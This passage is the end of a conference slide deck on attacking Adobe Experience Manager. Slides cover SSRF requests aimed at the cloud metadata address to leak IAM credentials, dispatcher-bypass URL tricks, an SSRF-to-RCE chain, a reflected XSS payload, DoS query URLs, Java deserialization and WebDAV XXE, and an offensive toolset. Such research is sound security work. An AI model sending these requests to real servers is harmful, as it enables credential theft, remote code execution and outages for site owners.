      /libs/mcm/salesforce/customer.json/a.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co
      de=e
      /libs/mcm/salesforce/customer.json/a.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&c
      ode=e
      /libs/mcm/salesforce/customer.json/a.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co
      de=e 78/110


 79.  SSRF IN SALESFORCESECRETSERVLET P1 SUBMISSION FOR ADOBE VDP – LEAK
      
      IAM role creds 79/110


 80.  SSRF IN SALESFORCESECRETSERVLET P2 SUBMISSION FOR PRIVATE BB – SSRF
      
      and RXSS 80/110


 81.  SSRF IN SITECATALYSTSERVLET NO CVE FROM ADOBE PSIRT • ALLOWS
      
      to blindly send POST requests • Allow to specify arbitrary HTTP headers
      via CRLF or LF injection • HTTP smuggling (works for Jetty)
      /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110


 82.  SSRF IN SITECATALYSTSERVLET 82/110


 83.  SSRF IN SITECATALYSTSERVLET
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.CSS?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.HTML?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.ICO?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.PNG?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.GIF?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      /LIBS/CQ/ANALYTICS/COMPONENTS/SITECATALYSTPAGE/SEGMENTS.JSON.SERVLET.1.JSON?DATACENTER=HTTPS://SITE%23&COMPANY=XXX&USERNAME=ZZZ&SECRET=YYYY
      
      /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
      83/110


 84.  SSRF IN AUTOPROVISIONINGSERVLET NO CVE FROM ADOBE PSIRT • ALLOWS
      
      to blindly send POST requests • Allow to inject arbitrary HTTP headers •
      HTTP smuggling (works for Jetty)
      /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110


 85.  SSRF IN AUTOPROVISIONINGSERVLET 85/110


 86.  SSRF IN AUTOPROVISIONINGSERVLET
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.CSS
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.HTML
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.ICO
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.PNG
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.GIF
      /LIBS/CQ/CLOUDSERVICESPROVISIONING/CONTENT/AUTOPROVISIONING.JSON/A.1.JSON
      
      /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css
      86/110


 87.  SSRF TO RCE • IT’S POSSIBLE TO ESCALATE 2 SSRFS
      
      to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix
      pack •
      https://www.adobeaemcloud.com/content/marketplace/marketplaceProxy.html?pack
      agePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM-
      6.2-SP1-CFP7 87/110


 88.  SSRF TO RCE • TOPOLOGY IS USED BY REPLICATION MECHANISMS
      
      in AEM •
      https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html
      •
      https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html
      • To join Topology PUT request must be sent to TopologyConnectorServlet •
      TopologyConnectorServlet is accessible on localhost only (default) • Via
      SSRF with HTTP smuggling we can access TopologyConnectorServlet 88/110


 89.  SSRF TO RCE • WHEN NODE JOINS THE TOPOLOGY REVERSE
      
      replication agent is created automatically • Reverse replication agent
      replicates nodes from malicious AEM server to Publish server … RCE! 89/110


 90.  HTTPS://WWW.YOUTUBE.COM/WATCH?V=AWPJRIR47JO


 91.  <SCRIPT> AEM XSS </SCRIPT>


 92.  XSS VARIANTS • CREATE NEW NODE AND UPLOAD SVG (JCR:WRITE,
      
      jcr:addChildNodes) • Create new node property with XSS payload
      (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS –
      CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets
      return HTML tags in JSON response 92/110


 93.  XSS VARIANTS • CREATE NEW NODE AND UPLOAD SVG (JCR:WRITE,
      
      jcr:addChildNodes) • Create new node property with XSS payload
      (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS –
      CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets
      return HTML tags in JSON response Persistent 93/110


 94.  • CREATE NEW NODE AND UPLOAD SVG (JCR:WRITE, JCR:ADDCHILDNODES) •
      
      Create new node property with XSS payload (jcr:modifyProperties) • SWF
      XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips
      XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON
      response XSS variants Reflected 94/110


 95.  XSS VARIANTS • CREATE NEW NODE AND UPLOAD SVG (JCR:WRITE,
      
      jcr:addChildNodes) • Create new node property with XSS payload
      (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS –
      CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets
      return HTML tags in JSON response 95/110


 96.  SUGGESTIONHANDLER SERVLET •
      /BIN/WCM/CONTENTFINDER/CONNECTOR/SUGGESTIONS.JSON • REFLECTS PRE PARAMETER
      IN JSON
      
      response • What if Content-Type of response is based on file extension in
      URL: • /a.html 96/110


 97.  XSS VARIANTS P3 SUBMISSION FOR PRIVATE BB – REFLECTED XSS
      
      /bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onloa
      d%3dalert(document.domain)%3E&post=yyyy 97/110


 98.  DOS ATTACKS


 99.  DOS IS EASY • /.EXT.INFINITY.JSON • /.EXT.INFINITY.JSON?TIDY=TRUE •
      /BIN/QUERYBUILDER.JSON?TYPE=NT:BASE&P.LIMIT=-1 •
      
      /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..- 1&pathPrefix=
      • /content.assetsearch.json?query=*&start=0&limit=10&random=123 •
      /..assetsearch.json?query=*&start=0&limit=10&random=123 •
      /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=1111
      11111 99/110


 100. DOS IS EASY /CONTENT.EXT.INFINITY.1..JSON?TIDY=TRUE 100/110


 101. OTHER TRICKS


 102. EXTERNALJOBPOSTSERVLET JAVADESER • OLD BUG, AFFECTS AEM 5.5 – 6.1
      
      • http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization-
      bug/ • /libs/dam/cloud/proxy.json • Parameter file accepts Java serialized
      stream and passes to ObjectInputStream.readObject() 102/110


 103. EXTERNALJOBPOSTSERVLET JAVADESER PAYLOAD FROM OISDOS TOOL 103/110


 104. EXTERNALJOBPOSTSERVLET JAVADESER 104/110


 105. XXE VIA WEBDAV • OLD BUG, CVE-2015-1833 • IT’S POSSIBLE
      
      to read local files with PROPFIND/PROPPATCH •
      https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about- webdav
      105/110


 106. XXE VIA WEBDAV – WEBDAV SUPPORT IS ON? • SEND
      
      OPTIONS request • Allow headers in response contain webdav-related methods
      • Navigate to /crx/repository/test • 401 HTTP and WWW-Authenticate: Basic
      realm="Adobe CRX WebDAV" 106/110


 107. AEM HACKER TOOLSET


 108. AEM HACKER TOOLSET •HTTPS://GITHUB.COM/0ANG3EL/AEM-HACKER.GIT •
      AEM_HACKER.PY • AEM_DISCOVERER.PY • AEM_ENUM.PY
      
      • aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin
      • You need VPS to run aem_hacker.py 108/110


 109. AEM HACKER TOOLSET – AEM-HACKER.PY • SENSITIVE NODES EXPOSURE VIA
      
      DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet &
      QueryByulderFeedServlet & GQLSearchServlet exposure • PostServlet exposure
      • SSRFs checks • LoginStatusServlet & default creds check • SWF XSSes •
      WCMDebugFilter XSS • SuggestionHandler XSS • Log records exposure via
      AuditLogServlet • ExternalJobPostServlet javadeser • … 109/110 Tries to
      bypass AEM dispatcher!!!


 110. THANK U! @0ANG3EL

SpeakerDeck


TOP CATEGORIES

 * Programming
 * Technology
 * Storyboards
 * Featured decks
 * Featured speakers


USE CASES

 * Storyboard Artists
 * Educators


RESOURCES

 * Help Center
 * Blog
 * Compare Speaker Deck
 * Advertising


FEATURES

 * Private URLs
 * Password Protection
 * Custom URLS
 * Scheduled publishing
 * Remove Branding
 * Restrict embedding
 * Notes

Copyright © 2024 Speaker Deck, LLC.

All slide content and descriptions are owned by their creators.

 * About
 * Terms
 * Privacy
 * DMCA
 * Accessibility Statement